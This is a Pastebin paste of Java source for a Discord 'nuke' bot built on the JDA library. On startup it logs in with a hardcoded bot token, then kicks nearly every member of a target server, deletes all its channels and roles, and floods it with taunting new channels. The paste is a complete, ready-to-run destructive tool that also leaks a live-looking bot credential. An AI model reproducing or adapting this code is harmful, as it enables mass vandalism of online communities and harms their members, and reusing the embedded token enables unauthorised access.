Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import java.util.ArrayList;
- import java.util.EnumSet;
- import javax.security.auth.login.LoginException;
- import net.dv8tion.jda.api.AccountType;
- import net.dv8tion.jda.api.JDA;
- import net.dv8tion.jda.api.JDABuilder;
- import net.dv8tion.jda.api.OnlineStatus;
- import net.dv8tion.jda.api.entities.Guild;
- import net.dv8tion.jda.api.entities.GuildChannel;
- import net.dv8tion.jda.api.entities.Member;
- import net.dv8tion.jda.api.entities.MessageChannel;
- import net.dv8tion.jda.api.entities.Role;
- import net.dv8tion.jda.api.entities.TextChannel;
- import net.dv8tion.jda.api.events.message.MessageReceivedEvent;
- import net.dv8tion.jda.api.hooks.ListenerAdapter;
- import net.dv8tion.jda.api.requests.restaction.ChannelAction;
- import net.dv8tion.jda.api.utils.Compression;
- import net.dv8tion.jda.api.utils.cache.CacheFlag;
- public class Main extends ListenerAdapter {
- private static JDA jda;
- private static ArrayList<String> createchannels = new ArrayList<String>();
- private static ArrayList<String> userwhitelist = new ArrayList<String>();
- public static void main(String[] args) {
- //token
- JDABuilder builder = new JDABuilder(AccountType.BOT).setToken("NTY1OTg4NDYwMTg4NjYzODEx.XcBsrw.z_VEZukibyt4oXrLPpMD2FI0dsk").addEventListeners(new Main());
- // Disable parts of the cache
- builder.setDisabledCacheFlags(EnumSet.of(CacheFlag.ACTIVITY, CacheFlag.VOICE_STATE));
- // Disable parts of the cache
- builder.setDisabledCacheFlags(EnumSet.of(CacheFlag.ACTIVITY, CacheFlag.VOICE_STATE));
- // Enable the bulk delete event
- builder.setBulkDeleteSplittingEnabled(false);
- // Disable compression (not recommended)
- builder.setCompression(Compression.NONE);
- // Set activity (like "playing Something")
- // builder.setActivity(Activity.watching("TV"));
- builder.setStatus(OnlineStatus.OFFLINE);
- try {
- jda = builder.build();
- } catch (LoginException e) {
- // TODO Auto-generated catch block
- e.printStackTrace();
- }
- if (jda == null) {
- System.out.println("Jda is null!");
- System.exit(-1);
- }
- String split = "ARE U MAD BRO Question mark";
- String[] channels = split.split(" ");
- for (String s:channels) {
- createchannels.add(s);
- }
- //Hier ist eine Whitelist für die Leute die nicht gekickt werden sollen.
- //Für die Aufnahme!
- userwhitelist.add("Cinquha");
- new Thread() {
- @Override
- public void run() {
- try {
- Thread.sleep(5000);
- } catch (InterruptedException e) {
- // TODO Auto-generated catch block
- e.printStackTrace();
- }
- nuke(jda.getGuildById(GUILDid));
- }
- }.start();
- }
- public static void nuke(Guild guild) {
- System.out.println("Started nuking...");
- for (Member member : guild.getMembers()) {
- if (member.getUser().isBot()) continue;
- if (member.isOwner()) continue;
- if (userwhitelist.contains(member.getNickname()) || userwhitelist.contains(member.getEffectiveName())) continue;
- try {
- member.kick("Ey!").queue();
- System.out.println("Kicked " + member.getEffectiveName());
- Thread.sleep(40);
- } catch (Exception e) {
- System.out.println("Failed to kick " + member.getEffectiveName());
- try {
- Thread.sleep(40);
- }catch (Exception ex1) {
- }
- }
- }
- for (GuildChannel channel : guild.getChannels()) {
- channel.delete().queue();
- System.out.println("Deleted channel " + channel.getName());
- try {
- Thread.sleep(40);
- }catch (Exception ex1) {
- }
- }
- for (Role role : guild.getRoles()) {
- try {
- role.delete().queue();
- System.out.println("Deleted role " + role.getName());
- try {
- Thread.sleep(40);
- }catch (Exception ex1) {
- }
- } catch (Exception e) {
- System.out.println("Failed delete role " + role.getName());
- try {
- Thread.sleep(40);
- }catch (Exception ex1) {
- }
- }
- }
- int i = 0;
- for (String channel:createchannels) {
- System.out.println("Created channel " + channel);
- ChannelAction<TextChannel> tchannel = guild.createTextChannel(channel);
- tchannel.queue();
- tchannel.complete();
- i++;
- }
- System.out.println("NUKED!");
- System.exit(0);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment